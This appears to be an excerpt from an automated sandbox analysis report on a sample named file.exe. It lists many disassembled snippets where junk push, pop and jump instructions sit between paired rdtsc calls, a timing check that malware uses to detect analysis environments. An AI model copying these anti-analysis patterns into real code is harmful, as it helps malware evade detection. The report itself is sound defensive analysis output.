Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BBB6 second address: 35BBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BE9D second address: 35BEA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361ED5 second address: 361EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FB818EDC0D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 361EFC second address: 361F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3625E6 second address: 362602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FB818EDC0C6h 0x0000000b jmp 00007FB818EDC0CEh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362602 second address: 36261F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jl 00007FB818BA6106h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36261F second address: 362639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB818EDC0D3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362639 second address: 36263F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3627B7 second address: 3627D8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB818EDC0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FB818EDC0D2h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362913 second address: 362917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A72 second address: 362A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A78 second address: 362A7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A7E second address: 362A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB818EDC0CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A98 second address: 362A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A9C second address: 362AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362AA2 second address: 362AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362AA7 second address: 362AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D4h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362D9A second address: 362DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362DA0 second address: 362DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362DAB second address: 362DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FB818BA610Dh 0x0000000c pushad 0x0000000d jmp 00007FB818BA6111h 0x00000012 jc 00007FB818BA6106h 0x00000018 jmp 00007FB818BA610Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3669FE second address: 366A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB818EDC0D9h 0x0000000a pushad 0x0000000b jmp 00007FB818EDC0CDh 0x00000010 jmp 00007FB818EDC0D5h 0x00000015 jmp 00007FB818EDC0CCh 0x0000001a popad 0x0000001b popad 0x0000001c push esi 0x0000001d push ecx 0x0000001e ja 00007FB818EDC0C6h 0x00000024 pop ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 je 00007FB818EDC0C6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 334A5F second address: 334A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA6111h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 334A74 second address: 334AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007FB818EDC0D2h 0x0000000f jng 00007FB818EDC0CCh 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FB818EDC0C8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 jc 00007FB818EDC0E0h 0x00000036 call 00007FB818EDC0D3h 0x0000003b jno 00007FB818EDC0C6h 0x00000041 pop ecx 0x00000042 lea eax, dword ptr [ebp+12489775h] 0x00000048 movzx ecx, cx 0x0000004b push eax 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FB818EDC0D6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 334C1E second address: 334C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 334CF0 second address: 334CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335160 second address: 335164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335164 second address: 335173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FB818EDC0C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3352A6 second address: 3352AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3352AB second address: 3352CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FB818EDC0CAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB818EDC0CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335B44 second address: 335B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335B48 second address: 335B51 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335CEE second address: 335CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335DFE second address: 335E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FB818EDC0D2h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FB818EDC0C8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dx, si 0x00000030 movzx edx, ax 0x00000033 lea eax, dword ptr [ebp+124897B9h] 0x00000039 mov edi, dword ptr [ebp+122D2B31h] 0x0000003f nop 0x00000040 pushad 0x00000041 jmp 00007FB818EDC0D6h 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b popad 0x0000004c popad 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jne 00007FB818EDC0C6h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366FF1 second address: 366FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366FF5 second address: 367010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D1h 0x00000007 je 00007FB818EDC0D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3672CF second address: 3672D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3672D5 second address: 3672FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FB818EDC0D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007FB818EDC0C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 369461 second address: 36946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36946D second address: 36948E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB818EDC0C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818EDC0D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37267B second address: 372697 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB818BA6106h 0x00000008 jmp 00007FB818BA6112h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7FB4 second address: 2F7FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB818EDC0CBh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007FB818EDC0C6h 0x00000014 jno 00007FB818EDC0C6h 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7FDA second address: 2F7FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7FE0 second address: 2F7FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jp 00007FB818EDC0CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371317 second address: 37131C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37144E second address: 371468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB818EDC0D5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371468 second address: 37146F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379FE6 second address: 37A000 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A000 second address: 37A021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FB818BA6106h 0x0000000d jmp 00007FB818BA6112h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A021 second address: 37A026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A026 second address: 37A02C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A02C second address: 37A030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 378A9D second address: 378AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB818BA6106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379350 second address: 379356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379356 second address: 379360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379360 second address: 379364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37964D second address: 379661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818BA6110h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3797B0 second address: 3797BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB818EDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379A51 second address: 379A58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379A58 second address: 379A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379A64 second address: 379A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3786E5 second address: 3786F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0CBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3786F6 second address: 378705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnp 00007FB818BA610Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F9D7 second address: 37FA04 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB818EDC0CDh 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB818EDC0D5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FA04 second address: 37FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FA10 second address: 37FA2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F578 second address: 37F57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F57E second address: 37F582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F582 second address: 37F5B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FB818BA6106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FB818BA610Ah 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB818BA6119h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F5B5 second address: 37F5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F70F second address: 37F715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F715 second address: 37F719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F719 second address: 37F764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB818BA6106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FB818BA6118h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007FB818BA6110h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c jne 00007FB818BA611Ch 0x00000022 jc 00007FB818BA610Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3828EB second address: 3828FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB818EDC0C6h 0x0000000a jg 00007FB818EDC0C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3828FB second address: 382915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382915 second address: 382923 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB818EDC0C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382A8D second address: 382A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382A91 second address: 382A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382C2E second address: 382C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382C32 second address: 382C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E2A second address: 386E30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E30 second address: 386E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E36 second address: 386E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E3A second address: 386E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EDE8B second address: 2EDEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818BA610Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EDEA0 second address: 2EDEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3865EA second address: 386619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6119h 0x00000007 jne 00007FB818BA6106h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FB818BA610Ch 0x00000015 je 00007FB818BA6106h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38B804 second address: 38B809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38B809 second address: 38B819 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB818BA610Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 335797 second address: 33579B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33579B second address: 3357EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push ecx 0x00000009 jmp 00007FB818BA6112h 0x0000000e pop edx 0x0000000f mov ebx, dword ptr [ebp+124897B4h] 0x00000015 jc 00007FB818BA610Ch 0x0000001b mov dword ptr [ebp+122D2CCFh], edx 0x00000021 add eax, ebx 0x00000023 pushad 0x00000024 sbb dx, 136Ah 0x00000029 popad 0x0000002a pushad 0x0000002b or cl, 00000050h 0x0000002e sbb bl, FFFFFFA2h 0x00000031 popad 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FB818BA6111h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3357EE second address: 3357FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391184 second address: 3911AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FB818BA6106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB818BA6110h 0x00000011 push edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FB818BA6106h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3911AC second address: 3911B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
